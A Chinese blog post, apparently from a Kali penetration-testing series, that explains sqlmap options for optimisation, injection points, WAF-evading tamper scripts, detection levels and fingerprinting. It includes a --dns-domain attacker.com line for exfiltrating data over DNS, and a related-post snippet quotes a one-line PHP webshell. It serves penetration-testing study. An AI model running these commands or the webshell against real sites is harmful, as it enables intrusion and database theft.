sqlmap自动注入

Optimization

【优化性能参数,可提高效率】

-o:指定前三个参数(--predict-output、--keep-alive、--null-connection)

--predict-output:

根据检测方法,比岁返回值和统计表内容,不断缩小检测范围,提高检测效率

可检测的返回值:版本名、用户名、密码、Privaleges、role、数据库名称、表名、列名

与--threads参数不兼容

统计表:/usr/share/sqlmap/txt/common-outputs.txt

--keep-alive:【可避免出现异常连接很大的情况,而触发报警】

使用http(s)长连接,性能好

与--proxy参数不兼容

长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源

--null-connection:

只获取相应页面的大小值,而非页面具体内容

通常用于盲注判断 真/假,降低网络带宽消耗

与--text-only参数不兼容(基于页面内容的比较判断 真/假)

--threads:【默认情况下为1】

最大并发线程

盲注是每个线程获取一个字符(7次请求<--低位ASCII码),获取完成后线程结束

默认值为1,建议不要超过10,否则可能影响站点可用性

与--predict-output参数不兼容

Injection

-p:

指定扫描的参数,除了该参数,不探测其他参数,使--level失效

-p "User-Agent,referer"  #指定此两个参数

--skip:

排除指定的扫描参数

--level=5 --skip="id,user-agent"

URI注入点:【若URL地址中变量的名称和值,都通过URL表示(看起来像目录),需要手动在变量后加一个星号作为标志】(URI与URL)

sqlmap -u "http://targeturl/value1*/param2/value2/"

##############################################################################

#伪静态页面,URL重写,实际上只是看起来像是一个静态页面【如何识别伪静态页面

##############################################################################

--dbms:  【指定扫描服务器的数据库类型】

--ddbms="mysql"

--os:

Linux/Windows

--invalid-bignum / --invalid-logical

通常sqlmap使用负数使参数取值失效,即id=13->id=13

bignum使用大数使参数值失效 id==99999999999

Logical使用布尔判断使取值失效 id=13 AND 18=19

 --no-cast

榨取数据时,sqlmap将所有结果转换为字符串,并用空格代替NULL结果

在老版本mysql数据库需要开启此开关

 --no-escape【sqlmap默认下几乎没有通过编码逃逸的配置】

出于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃逸的方法替换字符串

###SELECT 'foo' --》SELECT CHAR(102)+CHAR(111)+CHAR(111)

本参数关闭此功能

--prefix / --suffix  【前缀/后缀】

$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";

##如:sqlmap -u "http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1" -p id

--prefix "’)" --suffix "AND (’abc’=’abc“

query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND

(’abc’=’abc’) LIMIT 0, 1";

 --tamper  【前提:发现扫描被过滤】

指定混淆脚本,同于绕过应用层过滤、IPS、WAF

sqlmap -u "http://dadad" --

#脚本位置:/usr/share.sqlmap/tamper  【可使用dpkg -L sqlmap | grep tam  筛选】

sqlmap -u "http://URL" --tamper="tamper/between.py.tamper/randomcase.py.tamper/space2comment.py" -v 3  #【-v:显示详细信息】

Detection【检测】

 --level

1-5级 (默认1)

/usr/share/sqlmap/xml/payloads

 --risk

1-4 (默认1/无害)

Risk升高可造成数据被篡改等风险 (update)

--string,--not-string,--regexp,--code,--text-only,--titles 【指定根据返回的类型作为注入判断依据】

页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,但有些页面岁时间刻度变化,此时需要认为指定标识真假的字符串

 Techniques 【检测SQL注入存在的技术类型】

默认使用全部技术

B:Boolean-based blind

E:Error-based

U:Union query-based

S:Stacked queries (文件系统、操作系统、注册表时,必须使用)

T:Time-based Blind

--time-sec

基于时间的注入检测响应延迟时间(默认5秒

--union-cols

默认联合查询1-10列,随--level增加最多支持50列

--union-clos 6-9

--union-char

联合查询默认使用NULL,极端情况下NULL可能失效,此时可手动指定数值

--union-char 123 【需事先对web application进行分析】

--dns-domain

场景:攻击者控制了某DNS服务器,使用此功能可以提高数据榨取速率

--dns-domain attacker.com

--second-order

在一个页面注入的结果,从另一个页面体现出来

--second-order http://1.1.1.1/b.php

Fingerprint【指纹信息】

-f,--fingerprint,-b,---banner

数据库管理系统指纹信息

DBMS,操作系统,架构,补丁

小白日记45:kali渗透测试之Web渗透-SqlMap自动注入(三)-sqlmap参数详解-Optimization,Injection,Detection,Techniques,Fingerprint的更多相关文章

  1. 小白日记46:kali渗透测试之Web渗透-SqlMap自动注入(四)-sqlmap参数详解- Enumeration,Brute force,UDF injection,File system,OS,Windows Registry,General,Miscellaneous

    sqlmap自动注入 Enumeration[数据枚举] --privileges -U username[CU 当前账号] -D dvwa -T users -C user --columns  [ ...

  2. 小白日记44:kali渗透测试之Web渗透-SqlMap自动注入(二)-sqlmap参数详解REQUEST

    Sqlmap自动注入(二) Request ################################################### #inurl:.php?id= 1. 数据段:--d ...

  3. 小白日记43:kali渗透测试之Web渗透-SqlMap自动注入(一)-sqlmap参数详解TARGET

    SqlMap自动注入(一) sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞[动态页面中get/post参数.cookie.HTTP头].它由Python语言开发 ...

  4. 小白日记28:kali渗透测试之Web渗透-扫描工具-Nikto

    扫描工具-Nikto #WEB渗透 靶机:metasploitable 靶场:DVWA[默认账号/密码:admin/password] #新手先将DVWA的安全性,调到最低,可容易发现漏洞 侦察[减少 ...

  5. 小白日记30:kali渗透测试之Web渗透-扫描工具-Skipfish

    WEB渗透-skipfish Skipfish是一个命令行模式,以C语言编写的积极的Web应用程序的安全性侦察工具,没有代理模式. 它准备了一个互动为目标的网站的站点地图进行一个递归爬网和基于字典的探 ...

  6. 小白日记34:kali渗透测试之Web渗透-扫描工具-Burpsuite(二)

    扫描工具-Burpsuite 公共模块 0.Spider 爬网 手动爬网 先禁用截断功能 手动将页面中点击所有连接,对提交数据的地方,都进行提交[无论内容] 自动爬网[参数设置] 指定爬网路径,否则其 ...

  7. 小白日记47:kali渗透测试之Web渗透-XSS(一)

    XSS [推荐书籍:XSS跨站脚本攻击剖析与防御] xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/ ...

  8. 小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)

    webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用 ...

  9. 小白日记54:kali渗透测试之Web渗透-补充概念(AJAX,WEB Service)

    补充概念 AJAX(异步javascript和XML) Asynchronous javascript and xml 是一个概念,而非一种新的编程语言,是一组现有技术的组合 通过客户端脚本动态更新页 ...

随机推荐

  1. 轻松学习Linux之VI编辑器的使用

    本文出自 "李晨光原创技术博客" 博客,谢绝转载!

  2. 第三百三十六天 how can I 坚持

    家里断网了,忘交网费了,连的手机网络,也挺好,吃完饭就可以睡觉了. 不知道怎的,昨天和家人聊天,一提对象的事就很容易着急生气,然后就会后悔..哎,这脾气得改. 确实不知道自己的另一半是啥样,想象不出来 ...

  3. Hadoop MapReduce概念学习系列之mr程序组件全貌(二十)

    其实啊,spilt是,控制Apache Hadoop Mapreduce的map并发任务数,详细见http://www.cnblogs.com/zlslch/p/5713652.html map,是m ...

  4. 微软IOC容器Unity简单代码示例2-配置文件方式

    @(编程) 1. 通过Nuget下载Unity 这个就不介绍了 2. 接口代码 namespace UnityDemo { interface ILogIn { void Login(); } } n ...

  5. OSPF虚链路配置.示例1

      在OSPF 网络中,区域0为骨干区域,其它的为非骨干区域,非骨干区域必须与骨干区域直接相连. 根据拓扑图可看到区域1与骨干区域0直接相连而区域2与骨干区域没有直接相连,这种情况下我们可以创建一条虚 ...

  6. win2008 64位 + oracle11G 64位 IIS7.5 配置WEBSERVICE

    第一个错误: 安装过程依旧是那样简单,但在配好IIS站点,准备连接数据库的时候出错了,以下是错误提示:System.Data.OracleClient 需要 Oracle 客户端软件 8.1.7 或更 ...

  7. JAVA大数运算

    java大数是个好东西,用起来方便,代码短. 代码如下: import java.util.*; import java.math.*; public class Main { public stat ...

  8. POJ2533Longest Ordered Subsequence(DP)

    http://poj.org/problem?id=2533 在经典不过的DP题目了.... #include <map> #include <set> #include &l ...

  9. ajax提交后台自动反序列化成对象

    下面是ajax提交的方法,主要用到了$form.serializeArray()将表单序列化成json对象,然后用each处理一下,代码如下: var $form = $('<form>& ...

  10. PHP时间格式化封装函数

    /*格式化时间戳为小时,分钟,秒,几天前等 */function dgmdate($timestamp, $format = 'dt', $timeoffset = '9999', $uformat ...